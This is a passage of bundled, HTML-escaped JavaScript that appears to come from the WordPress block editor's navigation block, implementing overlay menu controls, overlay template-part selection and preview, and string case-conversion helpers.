            {
              label: (0, import_i18n118.__)(&quot;Show icon button&quot;),
              help: (0, import_i18n118.__)(
                &quot;Configure the visual appearance of the button that toggles the overlay menu.&quot;
              ),
              onChange: (value) =&gt; setAttributes({ hasIcon: value }),
              checked: hasIcon
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
        import_components75.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n118.__)(&quot;Icon&quot;),
          isShownByDefault: true,
          hasValue: () =&gt; icon4 !== &quot;handle&quot;,
          onDeselect: () =&gt; setAttributes({ icon: &quot;handle&quot; }),
          children: /* @__PURE__ */ (0, import_jsx_runtime312.jsxs)(
            import_components75.__experimentalToggleGroupControl,
            {
              __next40pxDefaultSize: true,
              className: &quot;wp-block-navigation__overlay-menu-icon-toggle-group&quot;,
              label: (0, import_i18n118.__)(&quot;Icon&quot;),
              value: icon4,
              onChange: (value) =&gt; setAttributes({ icon: value }),
              isBlock: true,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
                  import_components75.__experimentalToggleGroupControlOption,
                  {
                    value: &quot;handle&quot;,
                    &quot;aria-label&quot;: (0, import_i18n118.__)(&quot;handle&quot;),
                    label: /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(OverlayMenuIcon, { icon: &quot;handle&quot; })
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
                  import_components75.__experimentalToggleGroupControlOption,
                  {
                    value: &quot;menu&quot;,
                    &quot;aria-label&quot;: (0, import_i18n118.__)(&quot;menu&quot;),
                    label: /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(OverlayMenuIcon, { icon: &quot;menu&quot; })
                  }
                )
              ]
            }
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/overlay-panel.mjs
  var import_components82 = __toESM(require_components(), 1);
  var import_i18n126 = __toESM(require_i18n(), 1);
  var import_element69 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/overlay-template-part-selector.mjs
  var import_element67 = __toESM(require_element(), 1);
  var import_compose32 = __toESM(require_compose(), 1);
  var import_core_data35 = __toESM(require_core_data(), 1);
  var import_data68 = __toESM(require_data(), 1);
  var import_components77 = __toESM(require_components(), 1);
  var import_i18n121 = __toESM(require_i18n(), 1);
  var import_html_entities4 = __toESM(require_html_entities(), 1);
  var import_notices12 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/navigation/edit/use-create-overlay.mjs
  var import_element65 = __toESM(require_element(), 1);
  var import_data67 = __toESM(require_data(), 1);
  var import_core_data34 = __toESM(require_core_data(), 1);
  var import_block_editor142 = __toESM(require_block_editor(), 1);
  var import_i18n119 = __toESM(require_i18n(), 1);
  var import_blocks57 = __toESM(require_blocks(), 1);

  // node_modules/tslib/tslib.es6.mjs
  var __assign = function() {
    __assign = Object.assign || function __assign2(t2) {
      for (var s2, i2 = 1, n2 = arguments.length; i2 &lt; n2; i2++) {
        s2 = arguments[i2];
        for (var p2 in s2) if (Object.prototype.hasOwnProperty.call(s2, p2)) t2[p2] = s2[p2];
      }
      return t2;
    };
    return __assign.apply(this, arguments);
  };

  // node_modules/lower-case/dist.es2015/index.js
  function lowerCase(str) {
    return str.toLowerCase();
  }

  // node_modules/no-case/dist.es2015/index.js
  var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
  var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
  function noCase(input, options2) {
    if (options2 === void 0) {
      options2 = {};
    }
    var _a = options2.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options2.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options2.transform, transform = _c === void 0 ? lowerCase : _c, _d = options2.delimiter, delimiter = _d === void 0 ? &quot; &quot; : _d;
    var result = replace(replace(input, splitRegexp, &quot;$1\0$2&quot;), stripRegexp, &quot;\0&quot;);
    var start = 0;
    var end = result.length;
    while (result.charAt(start) === &quot;\0&quot;)
      start++;
    while (result.charAt(end - 1) === &quot;\0&quot;)
      end--;
    return result.slice(start, end).split(&quot;\0&quot;).map(transform).join(delimiter);
  }
  function replace(input, re, value) {
    if (re instanceof RegExp)
      return input.replace(re, value);
    return re.reduce(function(input2, re2) {
      return input2.replace(re2, value);
    }, input);
  }

  // node_modules/upper-case-first/dist.es2015/index.js
  function upperCaseFirst(input) {
    return input.charAt(0).toUpperCase() + input.substr(1);
  }

  // node_modules/capital-case/dist.es2015/index.js
  function capitalCaseTransform(input) {
    return upperCaseFirst(input.toLowerCase());
  }
  function capitalCase(input, options2) {
    if (options2 === void 0) {
      options2 = {};
    }
    return noCase(input, __assign({ delimiter: &quot; &quot;, transform: capitalCaseTransform }, options2));
  }

  // node_modules/dot-case/dist.es2015/index.js
  function dotCase(input, options2) {
    if (options2 === void 0) {
      options2 = {};
    }
    return noCase(input, __assign({ delimiter: &quot;.&quot; }, options2));
  }

  // node_modules/param-case/dist.es2015/index.js
  function paramCase(input, options2) {
    if (options2 === void 0) {
      options2 = {};
    }
    return dotCase(input, __assign({ delimiter: &quot;-&quot; }, options2));
  }

  // packages/block-library/build-module/navigation/edit/utils.mjs
  function getComputedStyle(node) {
    return node.ownerDocument.defaultView.getComputedStyle(node);
  }
  function detectColors(colorsDetectionElement, setColor, setBackground) {
    if (!colorsDetectionElement) {
      return;
    }
    setColor(getComputedStyle(colorsDetectionElement).color);
    let backgroundColorNode = colorsDetectionElement;
    let backgroundColor = getComputedStyle(backgroundColorNode).backgroundColor;
    while (backgroundColor === &quot;rgba(0, 0, 0, 0)&quot; &amp;&amp; backgroundColorNode.parentNode &amp;&amp; backgroundColorNode.parentNode.nodeType === backgroundColorNode.parentNode.ELEMENT_NODE) {
      backgroundColorNode = backgroundColorNode.parentNode;
      backgroundColor = getComputedStyle(backgroundColorNode).backgroundColor;
    }
    setBackground(backgroundColor);
  }
  function getColors(context, isSubMenu) {
    const {
      textColor,
      customTextColor,
      backgroundColor,
      customBackgroundColor,
      overlayTextColor,
      customOverlayTextColor,
      overlayBackgroundColor,
      customOverlayBackgroundColor,
      style: style2
    } = context;
    const colors = {};
    if (isSubMenu &amp;&amp; !!customOverlayTextColor) {
      colors.customTextColor = customOverlayTextColor;
    } else if (isSubMenu &amp;&amp; !!overlayTextColor) {
      colors.textColor = overlayTextColor;
    } else if (!!customTextColor) {
      colors.customTextColor = customTextColor;
    } else if (!!textColor) {
      colors.textColor = textColor;
    } else if (!!style2?.color?.text) {
      colors.customTextColor = style2.color.text;
    }
    if (isSubMenu &amp;&amp; !!customOverlayBackgroundColor) {
      colors.customBackgroundColor = customOverlayBackgroundColor;
    } else if (isSubMenu &amp;&amp; !!overlayBackgroundColor) {
      colors.backgroundColor = overlayBackgroundColor;
    } else if (!!customBackgroundColor) {
      colors.customBackgroundColor = customBackgroundColor;
    } else if (!!backgroundColor) {
      colors.backgroundColor = backgroundColor;
    } else if (!!style2?.color?.background) {
      colors.customTextColor = style2.color.background;
    }
    return colors;
  }
  function getNavigationChildBlockProps(innerBlocksColors) {
    return {
      className: clsx_default(&quot;wp-block-navigation__submenu-container&quot;, {
        &quot;has-text-color&quot;: !!(innerBlocksColors.textColor || innerBlocksColors.customTextColor),
        [`has-${innerBlocksColors.textColor}-color`]: !!innerBlocksColors.textColor,
        &quot;has-background&quot;: !!(innerBlocksColors.backgroundColor || innerBlocksColors.customBackgroundColor),
        [`has-${innerBlocksColors.backgroundColor}-background-color`]: !!innerBlocksColors.backgroundColor
      }),
      style: {
        color: innerBlocksColors.customTextColor,
        backgroundColor: innerBlocksColors.customBackgroundColor
      }
    };
  }
  var getUniqueTemplatePartTitle = (title, templateParts) =&gt; {
    const lowercaseTitle = title.toLowerCase();
    const existingTitles = templateParts.map(
      (templatePart) =&gt; templatePart.title.rendered.toLowerCase()
    );
    if (!existingTitles.includes(lowercaseTitle)) {
      return title;
    }
    let suffix = 2;
    while (existingTitles.includes(`${lowercaseTitle} ${suffix}`)) {
      suffix++;
    }
    return `${title} ${suffix}`;
  };
  var getCleanTemplatePartSlug = (title) =&gt; {
    return paramCase(title).replace(/[^\w-]+/g, &quot;&quot;) || &quot;wp-custom-part&quot;;
  };

  // packages/block-library/build-module/navigation/edit/use-create-overlay.mjs
  function useCreateOverlayTemplatePart(overlayTemplateParts) {
    const { saveEntityRecord } = (0, import_data67.useDispatch)(import_core_data34.store);
    const pattern = (0, import_data67.useSelect)(
      (select9) =&gt; unlock(select9(import_block_editor142.store)).getPatternBySlug(
        &quot;core/navigation-overlay&quot;
      ),
      []
    );
    const createOverlayTemplatePart = (0, import_element65.useCallback)(async () =&gt; {
      const templatePartsWithTitles = overlayTemplateParts.filter(
        (templatePart2) =&gt; templatePart2.title?.rendered
      );
      const uniqueTitle = getUniqueTemplatePartTitle(
        (0, import_i18n119.__)(&quot;Navigation Overlay&quot;),
        templatePartsWithTitles
      );
      const cleanSlug = getCleanTemplatePartSlug(uniqueTitle);
      let initialContent = &quot;&quot;;
      if (pattern?.content) {
        const blocks = (0, import_blocks57.parse)(pattern.content, {
          __unstableSkipMigrationLogs: true
        });
        initialContent = (0, import_blocks57.serialize)(blocks);
      } else {
        initialContent = (0, import_blocks57.serialize)([(0, import_blocks57.createBlock)(&quot;core/paragraph&quot;)]);
      }
      const templatePart = await saveEntityRecord(
        &quot;postType&quot;,
        &quot;wp_template_part&quot;,
        {
          slug: cleanSlug,
          title: uniqueTitle,
          content: initialContent,
          area: NAVIGATION_OVERLAY_TEMPLATE_PART_AREA
        },
        { throwOnError: true }
      );
      return templatePart;
    }, [overlayTemplateParts, saveEntityRecord, pattern]);
    return createOverlayTemplatePart;
  }

  // packages/block-library/build-module/navigation/edit/deleted-overlay-warning.mjs
  var import_components76 = __toESM(require_components(), 1);
  var import_i18n120 = __toESM(require_i18n(), 1);
  var import_element66 = __toESM(require_element(), 1);
  var import_jsx_runtime313 = __toESM(require_jsx_runtime(), 1);
  function DeletedOverlayWarning({ onClear, onCreate, isCreating = false }) {
    const message = (0, import_element66.createInterpolateElement)(
      (0, import_i18n120.__)(
        &quot;The selected overlay template part is missing or has been deleted. &lt;clearButton&gt;Reset to default overlay&lt;/clearButton&gt; or &lt;createButton&gt;create a new overlay&lt;/createButton&gt;.&quot;
      ),
      {
        clearButton: /* @__PURE__ */ (0, import_jsx_runtime313.jsx)(
          import_components76.Button,
          {
            __next40pxDefaultSize: true,
            onClick: onClear,
            variant: &quot;link&quot;,
            disabled: isCreating,
            accessibleWhenDisabled: true
          }
        ),
        createButton: /* @__PURE__ */ (0, import_jsx_runtime313.jsx)(
          import_components76.Button,
          {
            __next40pxDefaultSize: true,
            onClick: onCreate,
            variant: &quot;link&quot;,
            disabled: isCreating,
            accessibleWhenDisabled: true,
            isBusy: isCreating
          }
        )
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime313.jsx)(
      import_components76.Notice,
      {
        status: &quot;warning&quot;,
        isDismissible: false,
        className: &quot;wp-block-navigation__deleted-overlay-warning&quot;,
        children: message
      }
    );
  }
  var deleted_overlay_warning_default = DeletedOverlayWarning;

  // packages/block-library/build-module/navigation/edit/overlay-template-part-selector.mjs
  var import_jsx_runtime314 = __toESM(require_jsx_runtime(), 1);
  function OverlayTemplatePartSelector({
    overlay,
    overlayMenu,
    setAttributes,
    onNavigateToEntityRecord,
    isCreatingOverlay,
    setIsCreatingOverlay
  }) {
    const headingId = (0, import_compose32.useInstanceId)(
      OverlayTemplatePartSelector,
      &quot;wp-block-navigation__overlay-selector-heading&quot;
    );
    const {
      records: templateParts,
      isResolving,
      hasResolved
    } = (0, import_core_data35.useEntityRecords)(&quot;postType&quot;, &quot;wp_template_part&quot;, {
      per_page: -1
    });
    const { createErrorNotice } = (0, import_data68.useDispatch)(import_notices12.store);
    const currentTheme = (0, import_data68.useSelect)(
      (select9) =&gt; select9(import_core_data35.store).getCurrentTheme()?.stylesheet,
      []
    );
    const [localIsCreating, setLocalIsCreating] = (0, import_element67.useState)(false);
    const isCreating = isCreatingOverlay !== void 0 ? isCreatingOverlay : localIsCreating;
    const setIsCreating = setIsCreatingOverlay !== void 0 ? setIsCreatingOverlay : setLocalIsCreating;
    const overlayTemplateParts = (0, import_element67.useMemo)(() =&gt; {
      if (!templateParts) {
        return [];
      }
      return templateParts.filter(
        (templatePart) =&gt; templatePart.area === NAVIGATION_OVERLAY_TEMPLATE_PART_AREA
      );
    }, [templateParts]);
    const createOverlayTemplatePart = useCreateOverlayTemplatePart(overlayTemplateParts);
    const selectedTemplatePart = (0, import_element67.useMemo)(() =&gt; {
      if (!overlay || !overlayTemplateParts) {
        return null;
      }
      return overlayTemplateParts.find(
        (templatePart) =&gt; templatePart.slug === overlay
      );
    }, [overlay, overlayTemplateParts]);
    const options2 = (0, import_element67.useMemo)(() =&gt; {
      const baseOptions = [
        {
          label: (0, import_i18n121.__)(&quot;Default&quot;),
          value: &quot;&quot;
        }
      ];
      if (!hasResolved || isResolving) {
        return baseOptions;
      }
      const templatePartOptions = overlayTemplateParts.map(
        (templatePart) =&gt; {
          const label = templatePart.title?.rendered ? (0, import_html_entities4.decodeEntities)(templatePart.title.rendered) : templatePart.slug;
          return {
            label,
            value: templatePart.slug
          };
        }
      );
      if (overlay &amp;&amp; !selectedTemplatePart) {
        templatePartOptions.unshift({
          label: (0, import_i18n121.sprintf)(
            /* translators: %s: Overlay slug. */
            (0, import_i18n121.__)(&quot;%s (missing)&quot;),
            overlay
          ),
          value: overlay
        });
      }
      return [...baseOptions, ...templatePartOptions];
    }, [
      overlayTemplateParts,
      hasResolved,
      isResolving,
      overlay,
      selectedTemplatePart
    ]);
    const handleSelectChange = (value) =&gt; {
      setAttributes({
        overlay: value || void 0
      });
    };
    const handleEditClick = () =&gt; {
      if (!overlay || !selectedTemplatePart || !onNavigateToEntityRecord) {
        return;
      }
      const theme = selectedTemplatePart.theme || currentTheme;
      const templatePartId = createTemplatePartId(theme, overlay);
      const params = {
        postId: templatePartId,
        postType: &quot;wp_template_part&quot;
      };
      if (overlayMenu === &quot;mobile&quot;) {
        params.viewport = &quot;mobile&quot;;
      }
      onNavigateToEntityRecord(params);
    };
    const handleCreateOverlay = (0, import_element67.useCallback)(async () =&gt; {
      try {
        setIsCreating(true);
        const templatePart = await createOverlayTemplatePart();
        setAttributes({
          overlay: templatePart.slug
        });
        if (onNavigateToEntityRecord) {
          const theme = templatePart.theme || currentTheme;
          const templatePartId = createTemplatePartId(
            theme,
            templatePart.slug
          );
          const params = {
            postId: templatePartId,
            postType: &quot;wp_template_part&quot;
          };
          if (overlayMenu === &quot;mobile&quot;) {
            params.viewport = &quot;mobile&quot;;
          }
          onNavigateToEntityRecord(params);
        } else {
          setIsCreating(false);
        }
      } catch (error) {
        const errorMessage = error instanceof Error &amp;&amp; &quot;code&quot; in error &amp;&amp; error.message &amp;&amp; error.code !== &quot;unknown_error&quot; ? error.message : (0, import_i18n121.__)(&quot;An error occurred while creating the overlay.&quot;);
        createErrorNotice(errorMessage, { type: &quot;snackbar&quot; });
        setIsCreating(false);
      }
    }, [
      createOverlayTemplatePart,
      setAttributes,
      onNavigateToEntityRecord,
      createErrorNotice,
      currentTheme,
      setIsCreating,
      overlayMenu
    ]);
    const handleClearOverlay = (0, import_element67.useCallback)(() =&gt; {
      setAttributes({ overlay: void 0 });
    }, [setAttributes]);
    const isCreateButtonDisabled = isResolving || isCreating;
    const isOverlayMissing = (0, import_element67.useMemo)(() =&gt; {
      return overlay &amp;&amp; hasResolved &amp;&amp; !isResolving &amp;&amp; !selectedTemplatePart;
    }, [overlay, hasResolved, isResolving, selectedTemplatePart]);
    const helpText = (0, import_element67.useMemo)(() =&gt; {
      if (overlayTemplateParts.length === 0 &amp;&amp; hasResolved) {
        return (0, import_i18n121.__)(&quot;No overlays found.&quot;);
      }
      return (0, import_i18n121.__)(&quot;Select an overlay for navigation.&quot;);
    }, [overlayTemplateParts.length, hasResolved]);
    const editButtonLabel = (0, import_element67.useMemo)(() =&gt; {
      return selectedTemplatePart ? (0, import_i18n121.sprintf)(
        /* translators: %s: Overlay title. */
        (0, import_i18n121.__)(&quot;Edit overlay: %s&quot;),
        selectedTemplatePart.title?.rendered ? (0, import_html_entities4.decodeEntities)(selectedTemplatePart.title.rendered) : selectedTemplatePart.slug
      ) : (0, import_i18n121.__)(&quot;Edit overlay&quot;);
    }, [selectedTemplatePart]);
    return /* @__PURE__ */ (0, import_jsx_runtime314.jsxs)(&quot;div&quot;, { className: &quot;wp-block-navigation__overlay-selector&quot;, children: [
      /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
        &quot;h3&quot;,
        {
          id: headingId,
          className: &quot;wp-block-navigation__overlay-selector-header&quot;,
          children: (0, import_i18n121.__)(&quot;Overlay template&quot;)
        }
      ),
      hasResolved &amp;&amp; (overlayTemplateParts.length === 0 || isCreating &amp;&amp; overlayTemplateParts.length === 1) ? /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(import_jsx_runtime314.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
        import_components77.Button,
        {
          __next40pxDefaultSize: true,
          variant: &quot;secondary&quot;,
          onClick: handleCreateOverlay,
          disabled: isCreateButtonDisabled,
          accessibleWhenDisabled: true,
          isBusy: isCreating,
          className: &quot;wp-block-navigation__overlay-create-button-prominent&quot;,
          children: (0, import_i18n121.__)(&quot;Create overlay&quot;)
        }
      ) }) : /* @__PURE__ */ (0, import_jsx_runtime314.jsxs)(import_jsx_runtime314.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
          import_components77.Button,
          {
            size: &quot;small&quot;,
            icon: plus_default,
            onClick: handleCreateOverlay,
            disabled: isCreateButtonDisabled,
            accessibleWhenDisabled: true,
            isBusy: isCreating,
            label: (0, import_i18n121.__)(&quot;Create new overlay template&quot;),
            showTooltip: true,
            className: &quot;wp-block-navigation__overlay-create-button&quot;
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime314.jsxs)(
          import_components77.__experimentalHStack,
          {
            alignment: &quot;flex-start&quot;,
            className: &quot;wp-block-navigation__overlay-selector-controls&quot;,
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(import_components77.FlexBlock, { children: /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
                import_components77.SelectControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n121.__)(&quot;Overlay template&quot;),
                  hideLabelFromVision: true,
                  &quot;aria-labelledby&quot;: headingId,
                  value: overlay || &quot;&quot;,
                  options: options2,
                  onChange: handleSelectChange,
                  disabled: isResolving,
                  accessibleWhenDisabled: true,
                  help: helpText
                }
              ) }),
              overlay &amp;&amp; hasResolved &amp;&amp; selectedTemplatePart &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(import_components77.FlexItem, { children: /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
                import_components77.Button,
                {
                  __next40pxDefaultSize: true,
                  variant: &quot;secondary&quot;,
                  onClick: handleEditClick,
                  disabled: !onNavigateToEntityRecord,
                  accessibleWhenDisabled: true,
                  label: editButtonLabel,
                  showTooltip: true,
                  className: &quot;wp-block-navigation__overlay-edit-button&quot;,
                  children: (0, import_i18n121.__)(&quot;Edit&quot;)
                }
              ) })
            ]
          }
        ),
        isOverlayMissing &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
          deleted_overlay_warning_default,
          {
            onClear: handleClearOverlay,
            onCreate: handleCreateOverlay,
            isCreating
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
        import_components77.__experimentalHStack,
        {
          alignment: &quot;flex-start&quot;,
          className: &quot;wp-block-navigation__overlay-help-text-wrapper&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime314.jsx)(
            import_components77.__experimentalText,
            {
              variant: &quot;muted&quot;,
              isBlock: true,
              className: &quot;wp-block-navigation__overlay-help-text&quot;,
              children: (0, import_i18n121.__)(
                &quot;An overlay template allows you to customize the appearance of the dialog that opens when the menu button is pressed.&quot;
              )
            }
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/overlay-visibility-control.mjs
  var import_components78 = __toESM(require_components(), 1);
  var import_i18n122 = __toESM(require_i18n(), 1);
  var import_jsx_runtime315 = __toESM(require_jsx_runtime(), 1);
  function OverlayVisibilityControl({
    overlayMenu,
    setAttributes
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime315.jsxs)(
      import_components78.__experimentalToggleGroupControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n122.__)(&quot;Overlay Visibility&quot;),
        &quot;aria-label&quot;: (0, import_i18n122.__)(&quot;Configure overlay visibility&quot;),
        value: overlayMenu,
        help: (0, import_i18n122.__)(
          &quot;Collapses the navigation options in a menu icon opening an overlay.&quot;
        ),
        onChange: (value) =&gt; setAttributes({ overlayMenu: value }),
        isBlock: true,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime315.jsx)(import_components78.__experimentalToggleGroupControlOption, { value: &quot;never&quot;, label: (0, import_i18n122.__)(&quot;Off&quot;) }),
          /* @__PURE__ */ (0, import_jsx_runtime315.jsx)(import_components78.__experimentalToggleGroupControlOption, { value: &quot;mobile&quot;, label: (0, import_i18n122.__)(&quot;Mobile&quot;) }),
          /* @__PURE__ */ (0, import_jsx_runtime315.jsx)(import_components78.__experimentalToggleGroupControlOption, { value: &quot;always&quot;, label: (0, import_i18n122.__)(&quot;Always&quot;) })
        ]
      }
    );
  }

  // packages/block-library/build-module/navigation/edit/overlay-menu-preview-button.mjs
  var import_components80 = __toESM(require_components(), 1);
  var import_i18n124 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/navigation/edit/overlay-menu-preview-controls.mjs
  var import_components79 = __toESM(require_components(), 1);
  var import_i18n123 = __toESM(require_i18n(), 1);
  var import_jsx_runtime316 = __toESM(require_jsx_runtime(), 1);
  function OverlayMenuPreviewControls({
    hasIcon,
    icon: icon4,
    setAttributes
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime316.jsxs)(import_components79.__experimentalVStack, { spacing: 4, children: [
      /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(
        import_components79.ToggleControl,
        {
          label: (0, import_i18n123.__)(&quot;Show icon button&quot;),
          help: (0, import_i18n123.__)(
            &quot;Configure the visual appearance of the button that toggles the overlay menu.&quot;
          ),
          onChange: (value) =&gt; setAttributes({ hasIcon: value }),
          checked: hasIcon
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime316.jsxs)(
        import_components79.__experimentalToggleGroupControl,
        {
          __next40pxDefaultSize: true,
          className: &quot;wp-block-navigation__overlay-menu-icon-toggle-group&quot;,
          label: (0, import_i18n123.__)(&quot;Icon&quot;),
          value: icon4,
          onChange: (value) =&gt; setAttributes({ icon: value }),
          isBlock: true,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(
              import_components79.__experimentalToggleGroupControlOption,
              {
                value: &quot;handle&quot;,
                &quot;aria-label&quot;: (0, import_i18n123.__)(&quot;handle&quot;),
                label: /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(OverlayMenuIcon, { icon: &quot;handle&quot; })
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(
              import_components79.__experimentalToggleGroupControlOption,
              {
                value: &quot;menu&quot;,
                &quot;aria-label&quot;: (0, import_i18n123.__)(&quot;menu&quot;),
                label: /* @__PURE__ */ (0, import_jsx_runtime316.jsx)(OverlayMenuIcon, { icon: &quot;menu&quot; })
              }
            )
          ]
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/overlay-menu-preview-button.mjs
  var import_jsx_runtime317 = __toESM(require_jsx_runtime(), 1);
  function OverlayMenuPreviewButton({
    isResponsive,
    overlayMenuPreview,
    setOverlayMenuPreview,
    hasIcon,
    icon: icon4,
    setAttributes,
    overlayMenuPreviewClasses,
    overlayMenuPreviewId,
    containerStyle
  }) {
    if (!isResponsive) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime317.jsxs)(import_jsx_runtime317.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime317.jsxs)(
        import_components80.Button,
        {
          __next40pxDefaultSize: true,
          className: overlayMenuPreviewClasses,
          onClick: () =&gt; setOverlayMenuPreview(!overlayMenuPreview),
          &quot;aria-label&quot;: (0, import_i18n124.__)(&quot;Overlay menu controls&quot;),
          &quot;aria-controls&quot;: overlayMenuPreviewId,
          &quot;aria-expanded&quot;: overlayMenuPreview,
          children: [
            hasIcon &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime317.jsxs)(import_jsx_runtime317.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(OverlayMenuIcon, { icon: icon4 }),
              /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(icon_default, { icon: close_default })
            ] }),
            !hasIcon &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime317.jsxs)(import_jsx_runtime317.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(&quot;span&quot;, { children: (0, import_i18n124.__)(&quot;Menu&quot;) }),
              /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(&quot;span&quot;, { children: (0, import_i18n124.__)(&quot;Close&quot;) })
            ] })
          ]
        }
      ),
      overlayMenuPreview &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(
        import_components80.__experimentalVStack,
        {
          id: overlayMenuPreviewId,
          spacing: 4,
          style: containerStyle,
          children: /* @__PURE__ */ (0, import_jsx_runtime317.jsx)(
            OverlayMenuPreviewControls,
            {
              hasIcon,
              icon: icon4,
              setAttributes
            }
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/overlay-preview.mjs
  var import_data69 = __toESM(require_data(), 1);
  var import_core_data36 = __toESM(require_core_data(), 1);
  var import_element68 = __toESM(require_element(), 1);
  var import_blocks58 = __toESM(require_blocks(), 1);
  var import_components81 = __toESM(require_components(), 1);
  var import_i18n125 = __toESM(require_i18n(), 1);
  var import_block_editor143 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime318 = __toESM(require_jsx_runtime(), 1);
  function OverlayPreview({ overlay, currentTheme }) {
    const templatePartId = (0, import_element68.useMemo)(() =&gt; {
      if (!overlay || !currentTheme) {
        return null;
      }
      return createTemplatePartId(currentTheme, overlay);
    }, [currentTheme, overlay]);
    const { content, editedBlocks, hasResolved } = (0, import_data69.useSelect)(
      (select9) =&gt; {
        if (!templatePartId) {
          return {
            content: null,
            editedBlocks: null,
            hasResolved: true
          };
        }
        const { getEditedEntityRecord, hasFinishedResolution } = select9(import_core_data36.store);
        const editedRecord = getEditedEntityRecord(
          &quot;postType&quot;,
          &quot;wp_template_part&quot;,
          templatePartId,
          { context: &quot;view&quot; }
        );
        return {
          content: editedRecord?.content,
          editedBlocks: editedRecord?.blocks,
          hasResolved: hasFinishedResolution(&quot;getEditedEntityRecord&quot;, [
            &quot;postType&quot;,
            &quot;wp_template_part&quot;,
            templatePartId,
            { context: &quot;view&quot; }
          ])
        };
      },
      [templatePartId]
    );
    const blocks = (0, import_element68.useMemo)(() =&gt; {
      if (!templatePartId) {
        return null;
      }
      if (editedBlocks &amp;&amp; editedBlocks.length &gt; 0) {
        return editedBlocks;
      }
      if (content &amp;&amp; typeof content === &quot;string&quot;) {
        return (0, import_blocks58.parse)(content);
      }
      return [];
    }, [templatePartId, editedBlocks, content]);
    if (!overlay) {
      return null;
    }
    if (!hasResolved) {
      return /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(&quot;div&quot;, { className: &quot;wp-block-navigation__overlay-preview-loading&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(import_components81.Spinner, {}) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(
      &quot;div&quot;,
      {
        className: &quot;wp-block-navigation__overlay-preview&quot;,
        &quot;aria-label&quot;: (0, import_i18n125.__)(&quot;Navigation Overlay template part preview&quot;),
        role: &quot;region&quot;,
        children: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(
          import_block_editor143.BlockPreview.Async,
          {
            placeholder: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(&quot;div&quot;, { className: &quot;wp-block-navigation__overlay-preview-placeholder&quot; }),
            children: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(
              import_block_editor143.BlockPreview,
              {
                blocks,
                viewportWidth: 400,
                minHeight: 200
              }
            )
          }
        )
      }
    );
  }

  // packages/block-library/build-module/navigation/edit/overlay-panel.mjs
  var import_jsx_runtime319 = __toESM(require_jsx_runtime(), 1);
  function OverlayPanel({
    overlayMenu,
    overlay,
    setAttributes,
    onNavigateToEntityRecord,
    overlayMenuPreview,
    setOverlayMenuPreview,
    hasIcon,
    icon: icon4,
    overlayMenuPreviewClasses,
    overlayMenuPreviewId,
    isResponsive,
    currentTheme,
    hasOverlays
  }) {
    const [isCreatingOverlay, setIsCreatingOverlay] = (0, import_element69.useState)(false);
    return /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(import_components82.PanelBody, { title: (0, import_i18n126.__)(&quot;Overlay&quot;), initialOpen: true, children: /* @__PURE__ */ (0, import_jsx_runtime319.jsxs)(import_components82.__experimentalVStack, { spacing: 4, children: [
      /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(
        OverlayVisibilityControl,
        {
          overlayMenu,
          setAttributes
        }
      ),
      overlayMenu !== &quot;never&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime319.jsx)(
        OverlayMenuPreviewButton,
